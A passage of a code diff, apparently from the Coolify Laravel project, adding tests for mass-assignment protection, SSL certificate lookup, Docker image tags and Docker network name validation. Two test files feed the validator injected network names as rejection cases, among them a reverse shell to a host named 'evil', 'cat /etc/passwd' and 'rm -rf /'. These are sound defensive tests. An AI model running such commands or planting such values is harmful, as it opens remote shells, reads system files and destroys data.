+    expect($setting?->application_id)->toBe($application->id);
+});
+
+it('creates services with protected relationship ids in trusted internal paths', function () {
+    $team = Team::factory()->create();
+    $project = Project::factory()->create([
+        'team_id' => $team->id,
+    ]);
+    $environment = Environment::factory()->create([
+        'project_id' => $project->id,
+    ]);
+    $server = Server::factory()->create([
+        'team_id' => $team->id,
+    ]);
+    $destination = $server->standaloneDockers()->firstOrFail();
+
+    $service = Service::forceCreate([
+        'docker_compose_raw' => 'services: {}',
+        'environment_id' => $environment->id,
+        'server_id' => $server->id,
+        'destination_id' => $destination->id,
+        'destination_type' => $destination->getMorphClass(),
+        'service_type' => 'test-service',
+    ]);
+
+    expect($service->environment_id)->toBe($environment->id);
+    expect($service->server_id)->toBe($server->id);
+    expect($service->destination_id)->toBe($destination->id);
+    expect($service->destination_type)->toBe($destination->getMorphClass());
+});

tests/Feature/MassAssignmentProtectionTest.php

@@ -0,0 +1,248 @@
+<?php
+
+use App\Models\Application;
+use App\Models\Server;
+use App\Models\Service;
+use App\Models\StandaloneClickhouse;
+use App\Models\StandaloneDragonfly;
+use App\Models\StandaloneKeydb;
+use App\Models\StandaloneMariadb;
+use App\Models\StandaloneMongodb;
+use App\Models\StandaloneMysql;
+use App\Models\StandalonePostgresql;
+use App\Models\StandaloneRedis;
+use App\Models\Team;
+use App\Models\User;
+
+describe('mass assignment protection', function () {
+
+    test('no API-exposed model uses unguarded $guarded = []', function () {
+        $models = [
+            Application::class,
+            Service::class,
+            User::class,
+            Team::class,
+            Server::class,
+            StandalonePostgresql::class,
+            StandaloneRedis::class,
+            StandaloneMysql::class,
+            StandaloneMariadb::class,
+            StandaloneMongodb::class,
+            StandaloneKeydb::class,
+            StandaloneDragonfly::class,
+            StandaloneClickhouse::class,
+        ];
+
+        foreach ($models as $modelClass) {
+            $model = new $modelClass;
+            $guarded = $model->getGuarded();
+            $fillable = $model->getFillable();
+
+            // Model must NOT have $guarded = [] (empty guard = no protection)
+            // It should either have non-empty $guarded OR non-empty $fillable
+            $hasProtection = $guarded !== ['*'] ? count($guarded) > 0 : true;
+            $hasProtection = $hasProtection || count($fillable) > 0;
+
+            expect($hasProtection)
+                ->toBeTrue("Model {$modelClass} has no mass assignment protection (empty \$guarded and empty \$fillable)");
+        }
+    });
+
+    test('Application model blocks mass assignment of relationship IDs', function () {
+        $application = new Application;
+        $dangerousFields = ['id', 'uuid', 'environment_id', 'destination_id', 'destination_type', 'source_id', 'source_type', 'private_key_id', 'repository_project_id'];
+
+        foreach ($dangerousFields as $field) {
+            expect($application->isFillable($field))
+                ->toBeFalse("Application model should not allow mass assignment of '{$field}'");
+        }
+    });
+
+    test('Application model allows mass assignment of user-facing fields', function () {
+        $application = new Application;
+        $userFields = ['name', 'description', 'git_repository', 'git_branch', 'build_pack', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'health_check_path', 'limits_memory', 'status'];
+
+        foreach ($userFields as $field) {
+            expect($application->isFillable($field))
+                ->toBeTrue("Application model should allow mass assignment of '{$field}'");
+        }
+    });
+
+    test('Server model has $fillable and no conflicting $guarded', function () {
+        $server = new Server;
+        $fillable = $server->getFillable();
+        $guarded = $server->getGuarded();
+
+        expect($fillable)->not->toBeEmpty('Server model should have explicit $fillable');
+
+        // Guarded should be the default ['*'] when $fillable is set, not []
+        expect($guarded)->not->toBe([], 'Server model should not have $guarded = [] overriding $fillable');
+    });
+
+    test('Server model blocks mass assignment of dangerous fields', function () {
+        $server = new Server;
+
+        // These fields should not be mass-assignable via the API
+        expect($server->isFillable('id'))->toBeFalse();
+        expect($server->isFillable('uuid'))->toBeFalse();
+        expect($server->isFillable('created_at'))->toBeFalse();
+    });
+
+    test('User model blocks mass assignment of auth-sensitive fields', function () {
+        $user = new User;
+
+        expect($user->isFillable('id'))->toBeFalse('User id should not be fillable');
+        expect($user->isFillable('email_verified_at'))->toBeFalse('email_verified_at should not be fillable');
+        expect($user->isFillable('remember_token'))->toBeFalse('remember_token should not be fillable');
+        expect($user->isFillable('two_factor_secret'))->toBeFalse('two_factor_secret should not be fillable');
+        expect($user->isFillable('two_factor_recovery_codes'))->toBeFalse('two_factor_recovery_codes should not be fillable');
+        expect($user->isFillable('pending_email'))->toBeFalse('pending_email should not be fillable');
+        expect($user->isFillable('email_change_code'))->toBeFalse('email_change_code should not be fillable');
+        expect($user->isFillable('email_change_code_expires_at'))->toBeFalse('email_change_code_expires_at should not be fillable');
+    });
+
+    test('User model allows mass assignment of profile fields', function () {
+        $user = new User;
+
+        expect($user->isFillable('name'))->toBeTrue();
+        expect($user->isFillable('email'))->toBeTrue();
+        expect($user->isFillable('password'))->toBeTrue();
+    });
+
+    test('Team model blocks mass assignment of internal fields', function () {
+        $team = new Team;
+
+        expect($team->isFillable('id'))->toBeFalse();
+        expect($team->isFillable('use_instance_email_settings'))->toBeFalse('use_instance_email_settings should not be fillable (migrated to EmailNotificationSettings)');
+        expect($team->isFillable('resend_api_key'))->toBeFalse('resend_api_key should not be fillable (migrated to EmailNotificationSettings)');
+    });
+
+    test('Team model allows mass assignment of expected fields', function () {
+        $team = new Team;
+
+        expect($team->isFillable('name'))->toBeTrue();
+        expect($team->isFillable('description'))->toBeTrue();
+        expect($team->isFillable('personal_team'))->toBeTrue();
+        expect($team->isFillable('show_boarding'))->toBeTrue();
+        expect($team->isFillable('custom_server_limit'))->toBeTrue();
+    });
+
+    test('standalone database models block mass assignment of relationship IDs', function () {
+        $models = [
+            StandalonePostgresql::class,
+            StandaloneRedis::class,
+            StandaloneMysql::class,
+            StandaloneMariadb::class,
+            StandaloneMongodb::class,
+            StandaloneKeydb::class,
+            StandaloneDragonfly::class,
+            StandaloneClickhouse::class,
+        ];
+
+        foreach ($models as $modelClass) {
+            $model = new $modelClass;
+            $dangerousFields = ['id', 'uuid', 'environment_id', 'destination_id', 'destination_type'];
+
+            foreach ($dangerousFields as $field) {
+                expect($model->isFillable($field))
+                    ->toBeFalse("Model {$modelClass} should not allow mass assignment of '{$field}'");
+            }
+        }
+    });
+
+    test('standalone database models allow mass assignment of config fields', function () {
+        $model = new StandalonePostgresql;
+        expect($model->isFillable('name'))->toBeTrue();
+        expect($model->isFillable('postgres_user'))->toBeTrue();
+        expect($model->isFillable('postgres_password'))->toBeTrue();
+        expect($model->isFillable('image'))->toBeTrue();
+        expect($model->isFillable('limits_memory'))->toBeTrue();
+
+        $model = new StandaloneRedis;
+        expect($model->isFillable('redis_conf'))->toBeTrue();
+
+        $model = new StandaloneMysql;
+        expect($model->isFillable('mysql_root_password'))->toBeTrue();
+
+        $model = new StandaloneMongodb;
+        expect($model->isFillable('mongo_initdb_root_username'))->toBeTrue();
+    });
+
+    test('standalone database models allow mass assignment of public_port_timeout', function () {
+        $models = [
+            StandalonePostgresql::class,
+            StandaloneRedis::class,
+            StandaloneMysql::class,
+            StandaloneMariadb::class,
+            StandaloneMongodb::class,
+            StandaloneKeydb::class,
+            StandaloneDragonfly::class,
+            StandaloneClickhouse::class,
+        ];
+
+        foreach ($models as $modelClass) {
+            $model = new $modelClass;
+            expect($model->isFillable('public_port_timeout'))
+                ->toBeTrue("{$modelClass} should allow mass assignment of 'public_port_timeout'");
+        }
+    });
+
+    test('standalone database models allow mass assignment of SSL fields where applicable', function () {
+        $sslModels = [
+            StandalonePostgresql::class,
+            StandaloneMysql::class,
+            StandaloneMariadb::class,
+            StandaloneMongodb::class,
+            StandaloneRedis::class,
+            StandaloneKeydb::class,
+            StandaloneDragonfly::class,
+        ];
+
+        foreach ($sslModels as $modelClass) {
+            $model = new $modelClass;
+            expect($model->isFillable('enable_ssl'))
+                ->toBeTrue("{$modelClass} should allow mass assignment of 'enable_ssl'");
+        }
+
+        // Clickhouse has no SSL columns
+        expect((new StandaloneClickhouse)->isFillable('enable_ssl'))->toBeFalse();
+
+        $sslModeModels = [
+            StandalonePostgresql::class,
+            StandaloneMysql::class,
+            StandaloneMongodb::class,
+        ];
+
+        foreach ($sslModeModels as $modelClass) {
+            $model = new $modelClass;
+            expect($model->isFillable('ssl_mode'))
+                ->toBeTrue("{$modelClass} should allow mass assignment of 'ssl_mode'");
+        }
+    });
+
+    test('Application fill ignores non-fillable fields', function () {
+        $application = new Application;
+        $application->fill([
+            'name' => 'test-app',
+            'environment_id' => 999,
+            'destination_id' => 999,
+            'team_id' => 999,
+            'private_key_id' => 999,
+        ]);
+
+        expect($application->name)->toBe('test-app');
+        expect($application->environment_id)->toBeNull();
+        expect($application->destination_id)->toBeNull();
+        expect($application->private_key_id)->toBeNull();
+    });
+
+    test('Service model blocks mass assignment of relationship IDs', function () {
+        $service = new Service;
+
+        expect($service->isFillable('id'))->toBeFalse();
+        expect($service->isFillable('uuid'))->toBeFalse();
+        expect($service->isFillable('environment_id'))->toBeFalse();
+        expect($service->isFillable('destination_id'))->toBeFalse();
+        expect($service->isFillable('server_id'))->toBeFalse();
+    });
+});

tests/Feature/PasswordVisibilityComponentTest.php

@@ -0,0 +1,41 @@
+<?php
+
+use Illuminate\Support\MessageBag;
+use Illuminate\Support\ViewErrorBag;
+
+beforeEach(function () {
+    $errors = new ViewErrorBag;
+    $errors->put('default', new MessageBag);
+    view()->share('errors', $errors);
+});
+
+it('renders password input with Alpine-managed visibility state', function () {
+    $html = Blade::render('<x-forms.input type="password" id="secret" />');
+
+    expect($html)
+        ->toContain('@success.window="type = \'password\'"')
+        ->toContain("x-data=\"{ type: 'password' }\"")
+        ->toContain("x-on:click=\"type = type === 'password' ? 'text' : 'password'\"")
+        ->toContain('x-bind:type="type"')
+        ->toContain("x-bind:class=\"{ 'truncate': type === 'text' && ! \$el.disabled }\"")
+        ->not->toContain('changePasswordFieldType');
+});
+
+it('renders password textarea with Alpine-managed visibility state', function () {
+    $html = Blade::render('<x-forms.textarea type="password" id="secret" />');
+
+    expect($html)
+        ->toContain('@success.window="type = \'password\'"')
+        ->toContain("x-data=\"{ type: 'password' }\"")
+        ->toContain("x-on:click=\"type = type === 'password' ? 'text' : 'password'\"")
+        ->not->toContain('changePasswordFieldType');
+});
+
+it('resets password visibility on success event for env-var-input', function () {
+    $html = Blade::render('<x-forms.env-var-input type="password" id="secret" />');
+
+    expect($html)
+        ->toContain("@success.window=\"type = 'password'\"")
+        ->toContain("x-on:click=\"type = type === 'password' ? 'text' : 'password'\"")
+        ->toContain('x-bind:type="type"');
+});

tests/Feature/ServiceDatabaseTeamTest.php

@@ -7,25 +7,26 @@ use App\Models\ServiceApplication;
 use App\Models\ServiceDatabase;
 use App\Models\Team;
 use Illuminate\Foundation\Testing\RefreshDatabase;
+use Illuminate\Support\Str;
 
 uses(RefreshDatabase::class);
 
 it('returns the correct team through the service relationship chain', function () {
     $team = Team::factory()->create();
 
-    $project = Project::create([
-        'uuid' => (string) Illuminate\Support\Str::uuid(),
+    $project = Project::forceCreate([
+        'uuid' => (string) Str::uuid(),
         'name' => 'Test Project',
         'team_id' => $team->id,
     ]);
 
-    $environment = Environment::create([
-        'name' => 'test-env-'.Illuminate\Support\Str::random(8),
+    $environment = Environment::forceCreate([
+        'name' => 'test-env-'.Str::random(8),
         'project_id' => $project->id,
     ]);
 
-    $service = Service::create([
-        'uuid' => (string) Illuminate\Support\Str::uuid(),
+    $service = Service::forceCreate([
+        'uuid' => (string) Str::uuid(),
         'name' => 'supabase',
         'environment_id' => $environment->id,
         'destination_id' => 1,
@@ -33,8 +34,8 @@ it('returns the correct team through the service relationship chain', function (
         'docker_compose_raw' => 'version: "3"',
     ]);
 
-    $serviceDatabase = ServiceDatabase::create([
-        'uuid' => (string) Illuminate\Support\Str::uuid(),
+    $serviceDatabase = ServiceDatabase::forceCreate([
+        'uuid' => (string) Str::uuid(),
         'name' => 'supabase-db',
         'service_id' => $service->id,
     ]);
@@ -46,19 +47,19 @@ it('returns the correct team through the service relationship chain', function (
 it('returns the correct team for ServiceApplication through the service relationship chain', function () {
     $team = Team::factory()->create();
 
-    $project = Project::create([
-        'uuid' => (string) Illuminate\Support\Str::uuid(),
+    $project = Project::forceCreate([
+        'uuid' => (string) Str::uuid(),
         'name' => 'Test Project',
         'team_id' => $team->id,
     ]);
 
-    $environment = Environment::create([
-        'name' => 'test-env-'.Illuminate\Support\Str::random(8),
+    $environment = Environment::forceCreate([
+        'name' => 'test-env-'.Str::random(8),
         'project_id' => $project->id,
     ]);
 
-    $service = Service::create([
-        'uuid' => (string) Illuminate\Support\Str::uuid(),
+    $service = Service::forceCreate([
+        'uuid' => (string) Str::uuid(),
         'name' => 'supabase',
         'environment_id' => $environment->id,
         'destination_id' => 1,
@@ -66,8 +67,8 @@ it('returns the correct team for ServiceApplication through the service relation
         'docker_compose_raw' => 'version: "3"',
     ]);
 
-    $serviceApplication = ServiceApplication::create([
-        'uuid' => (string) Illuminate\Support\Str::uuid(),
+    $serviceApplication = ServiceApplication::forceCreate([
+        'uuid' => (string) Str::uuid(),
         'name' => 'supabase-studio',
         'service_id' => $service->id,
     ]);

tests/Feature/SslCertificateRegenerationTest.php

@@ -0,0 +1,82 @@
+<?php
+
+use App\Models\Server;
+use App\Models\SslCertificate;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    $this->team = Team::factory()->create();
+    $this->user = User::factory()->create();
+    $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+    $this->actingAs($this->user);
+    session(['currentTeam' => $this->team]);
+
+    $this->server = Server::factory()->create(['team_id' => $this->team->id]);
+});
+
+test('server with no CA certificate returns null from sslCertificates query', function () {
+    $caCert = $this->server->sslCertificates()
+        ->where('is_ca_certificate', true)
+        ->first();
+
+    expect($caCert)->toBeNull();
+});
+
+test('accessing property on null CA cert throws an error', function () {
+    // This test verifies the exact scenario that caused the 500 error:
+    // querying for a CA cert on a server that has none, then trying to access properties
+    $caCert = $this->server->sslCertificates()
+        ->where('is_ca_certificate', true)
+        ->first();
+
+    expect($caCert)->toBeNull();
+
+    // Without the fix, the code would do:
+    // caCert: $caCert->ssl_certificate  <-- 500 error
+    expect(fn () => $caCert->ssl_certificate)
+        ->toThrow(ErrorException::class);
+});
+
+test('CA certificate can be retrieved when it exists on the server', function () {
+    // Create a CA certificate directly (simulating what generateCaCertificate does)
+    SslCertificate::create([
+        'server_id' => $this->server->id,
+        'is_ca_certificate' => true,
+        'ssl_certificate' => 'test-ca-cert',
+        'ssl_private_key' => 'test-ca-key',
+        'common_name' => 'Coolify CA Certificate',
+        'valid_until' => now()->addYears(10),
+    ]);
+
+    $caCert = $this->server->sslCertificates()
+        ->where('is_ca_certificate', true)
+        ->first();
+
+    expect($caCert)->not->toBeNull()
+        ->and($caCert->is_ca_certificate)->toBeTruthy()
+        ->and($caCert->ssl_certificate)->toBe('test-ca-cert')
+        ->and($caCert->ssl_private_key)->toBe('test-ca-key');
+});
+
+test('non-CA certificate is not returned when querying for CA certificate', function () {
+    // Create only a regular (non-CA) certificate
+    SslCertificate::create([
+        'server_id' => $this->server->id,
+        'is_ca_certificate' => false,
+        'ssl_certificate' => 'test-cert',
+        'ssl_private_key' => 'test-key',
+        'common_name' => 'test-db-uuid',
+        'valid_until' => now()->addYear(),
+    ]);
+
+    $caCert = $this->server->sslCertificates()
+        ->where('is_ca_certificate', true)
+        ->first();
+
+    // The CA cert query should return null since only a regular cert exists
+    expect($caCert)->toBeNull();
+});

tests/Feature/StorageApiTest.php

@@ -49,7 +49,7 @@ function createTestApplication($context): Application
 
 function createTestDatabase($context): StandalonePostgresql
 {
-    return StandalonePostgresql::create([
+    return StandalonePostgresql::forceCreate([
         'name' => 'test-postgres',
         'image' => 'postgres:15-alpine',
         'postgres_user' => 'postgres',

tests/Unit/DockerImagePreviewTagResolutionTest.php

@@ -0,0 +1,76 @@
+<?php
+
+use App\Jobs\ApplicationDeploymentJob;
+use App\Models\Application;
+
+it('prefers the preview specific docker image tag for preview deployments', function () {
+    $reflection = new ReflectionClass(ApplicationDeploymentJob::class);
+    $job = $reflection->newInstanceWithoutConstructor();
+
+    $pullRequestProperty = $reflection->getProperty('pull_request_id');
+    $pullRequestProperty->setAccessible(true);
+    $pullRequestProperty->setValue($job, 42);
+
+    $applicationProperty = $reflection->getProperty('application');
+    $applicationProperty->setAccessible(true);
+    $applicationProperty->setValue($job, new Application([
+        'docker_registry_image_tag' => 'latest',
+    ]));
+
+    $previewTagProperty = $reflection->getProperty('dockerImagePreviewTag');
+    $previewTagProperty->setAccessible(true);
+    $previewTagProperty->setValue($job, 'pr_42');
+
+    $method = $reflection->getMethod('resolveDockerImageTag');
+    $method->setAccessible(true);
+
+    expect($method->invoke($job))->toBe('pr_42');
+});
+
+it('falls back to the application docker image tag for non preview deployments', function () {
+    $reflection = new ReflectionClass(ApplicationDeploymentJob::class);
+    $job = $reflection->newInstanceWithoutConstructor();
+
+    $pullRequestProperty = $reflection->getProperty('pull_request_id');
+    $pullRequestProperty->setAccessible(true);
+    $pullRequestProperty->setValue($job, 0);
+
+    $applicationProperty = $reflection->getProperty('application');
+    $applicationProperty->setAccessible(true);
+    $applicationProperty->setValue($job, new Application([
+        'docker_registry_image_tag' => 'stable',
+    ]));
+
+    $previewTagProperty = $reflection->getProperty('dockerImagePreviewTag');
+    $previewTagProperty->setAccessible(true);
+    $previewTagProperty->setValue($job, 'pr_42');
+
+    $method = $reflection->getMethod('resolveDockerImageTag');
+    $method->setAccessible(true);
+
+    expect($method->invoke($job))->toBe('stable');
+});
+
+it('falls back to latest when neither preview nor application tags are set', function () {
+    $reflection = new ReflectionClass(ApplicationDeploymentJob::class);
+    $job = $reflection->newInstanceWithoutConstructor();
+
+    $pullRequestProperty = $reflection->getProperty('pull_request_id');
+    $pullRequestProperty->setAccessible(true);
+    $pullRequestProperty->setValue($job, 7);
+
+    $applicationProperty = $reflection->getProperty('application');
+    $applicationProperty->setAccessible(true);
+    $applicationProperty->setValue($job, new Application([
+        'docker_registry_image_tag' => '',
+    ]));
+
+    $previewTagProperty = $reflection->getProperty('dockerImagePreviewTag');
+    $previewTagProperty->setAccessible(true);
+    $previewTagProperty->setValue($job, null);
+
+    $method = $reflection->getMethod('resolveDockerImageTag');
+    $method->setAccessible(true);
+
+    expect($method->invoke($job))->toBe('latest');
+});

tests/Unit/DockerNetworkInjectionTest.php

@@ -0,0 +1,48 @@
+<?php
+
+use App\Models\StandaloneDocker;
+use App\Models\SwarmDocker;
+
+it('StandaloneDocker rejects network names with shell metacharacters', function (string $network) {
+    $model = new StandaloneDocker;
+    $model->network = $network;
+})->with([
+    'semicolon injection' => 'poc; bash -i >& /dev/tcp/evil/4444 0>&1 #',
+    'pipe injection' => 'net|cat /etc/passwd',
+    'dollar injection' => 'net$(whoami)',
+    'backtick injection' => 'net`id`',
+    'space injection' => 'net work',
+])->throws(InvalidArgumentException::class);
+
+it('StandaloneDocker accepts valid network names', function (string $network) {
+    $model = new StandaloneDocker;
+    $model->network = $network;
+
+    expect($model->network)->toBe($network);
+})->with([
+    'simple' => 'mynetwork',
+    'with hyphen' => 'my-network',
+    'with underscore' => 'my_network',
+    'with dot' => 'my.network',
+    'alphanumeric' => 'network123',
+]);
+
+it('SwarmDocker rejects network names with shell metacharacters', function (string $network) {
+    $model = new SwarmDocker;
+    $model->network = $network;
+})->with([
+    'semicolon injection' => 'poc; bash -i >& /dev/tcp/evil/4444 0>&1 #',
+    'pipe injection' => 'net|cat /etc/passwd',
+    'dollar injection' => 'net$(whoami)',
+])->throws(InvalidArgumentException::class);
+
+it('SwarmDocker accepts valid network names', function (string $network) {
+    $model = new SwarmDocker;
+    $model->network = $network;
+
+    expect($model->network)->toBe($network);
+})->with([
+    'simple' => 'mynetwork',
+    'with hyphen' => 'my-network',
+    'with underscore' => 'my_network',
+]);

tests/Unit/ServiceParserImageUpdateTest.php

@@ -7,22 +7,24 @@
  * These tests verify the fix for the issue where changing an image in a
  * docker-compose file would create a new service instead of updating the existing one.
  */
-it('ensures service parser does not include image in firstOrCreate query', function () {
+it('ensures service parser does not include image in trusted service creation query', function () {
     // Read the serviceParser function from parsers.php
     $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
 
-    // Check that firstOrCreate is called with only name and service_id
-    // and NOT with image parameter in the ServiceApplication presave loop
+    // Check that trusted creation only uses name and service_id
+    // and does not include image in the creation payload
     expect($parsersFile)
-        ->toContain("firstOrCreate([\n                'name' => \$serviceName,\n                'service_id' => \$resource->id,\n            ]);")
-        ->not->toContain("firstOrCreate([\n                'name' => \$serviceName,\n                'image' => \$image,\n                'service_id' => \$resource->id,\n            ]);");
+        ->toContain("\$databaseFound = ServiceDatabase::where('name', \$serviceName)->where('service_id', \$resource->id)->first();")
+        ->toContain("\$applicationFound = ServiceApplication::where('name', \$serviceName)->where('service_id', \$resource->id)->first();")
+        ->toContain("forceCreate([\n                        'name' => \$serviceName,\n                        'service_id' => \$resource->id,\n                    ]);")
+        ->not->toContain("forceCreate([\n                        'name' => \$serviceName,\n                        'image' => \$image,\n                        'service_id' => \$resource->id,\n                    ]);");
 });
 
 it('ensures service parser updates image after finding or creating service', function () {
     // Read the serviceParser function from parsers.php
     $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
 
-    // Check that image update logic exists after firstOrCreate
+    // Check that image update logic exists after the trusted create/find branch
     expect($parsersFile)
         ->toContain('// Update image if it changed')
         ->toContain('if ($savedService->image !== $image) {')

tests/Unit/ValidationPatternsTest.php

@@ -80,3 +80,53 @@ it('falls back to random name when repo produces empty name', function () {
     expect(mb_strlen($name))->toBeGreaterThanOrEqual(3)
         ->and(preg_match(ValidationPatterns::NAME_PATTERN, $name))->toBe(1);
 });
+
+it('accepts valid Docker network names', function (string $network) {
+    expect(ValidationPatterns::isValidDockerNetwork($network))->toBeTrue();
+})->with([
+    'simple name' => 'mynetwork',
+    'with hyphen' => 'my-network',
+    'with underscore' => 'my_network',
+    'with dot' => 'my.network',
+    'cuid2 format' => 'ck8s2z1x0000001mhg3f9d0g1',
+    'alphanumeric' => 'network123',
+    'starts with number' => '1network',
+    'complex valid' => 'coolify-proxy.net_2',
+]);
+
+it('rejects Docker network names with shell metacharacters', function (string $network) {
+    expect(ValidationPatterns::isValidDockerNetwork($network))->toBeFalse();
+})->with([
+    'semicolon injection' => 'poc; bash -i >& /dev/tcp/evil/4444 0>&1 #',
+    'pipe injection' => 'net|cat /etc/passwd',
+    'dollar injection' => 'net$(whoami)',
+    'backtick injection' => 'net`id`',
+    'ampersand injection' => 'net&rm -rf /',
+    'space' => 'net work',
+    'newline' => "net\nwork",
+    'starts with dot' => '.network',
+    'starts with hyphen' => '-network',
+    'slash' => 'net/work',
+    'backslash' => 'net\\work',
+    'empty string' => '',
+    'single quotes' => "net'work",
+    'double quotes' => 'net"work',
+    'greater than' => 'net>work',
+    'less than' => 'net<work',
+]);
+
+it('generates dockerNetworkRules with correct defaults', function () {
+    $rules = ValidationPatterns::dockerNetworkRules();
+
+    expect($rules)->toContain('required')
+        ->toContain('string')
+        ->toContain('max:255')
+        ->toContain('regex:'.ValidationPatterns::DOCKER_NETWORK_PATTERN);
+});
+
+it('generates nullable dockerNetworkRules when not required', function () {
+    $rules = ValidationPatterns::dockerNetworkRules(required: false);
+
+    expect($rules)->toContain('nullable')
+        ->not->toContain('required');
+});

tests/v4/Browser/DashboardTest.php

@@ -77,21 +77,21 @@ uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==
         ],
     ]);
 
-    Project::create([
+    Project::forceCreate([
         'uuid' => 'project-1',
         'name' => 'My first project',
         'description' => 'This is a test project in development',
         'team_id' => 0,
     ]);
 
-    Project::create([
+    Project::forceCreate([
         'uuid' => 'project-2',
         'name' => 'Production API',
         'description' => 'Backend services for production',
         'team_id' => 0,
     ]);
 
-    Project::create([
+    Project::forceCreate([
         'uuid' => 'project-3',
         'name' => 'Staging Environment',
         'description' => 'Staging and QA testing',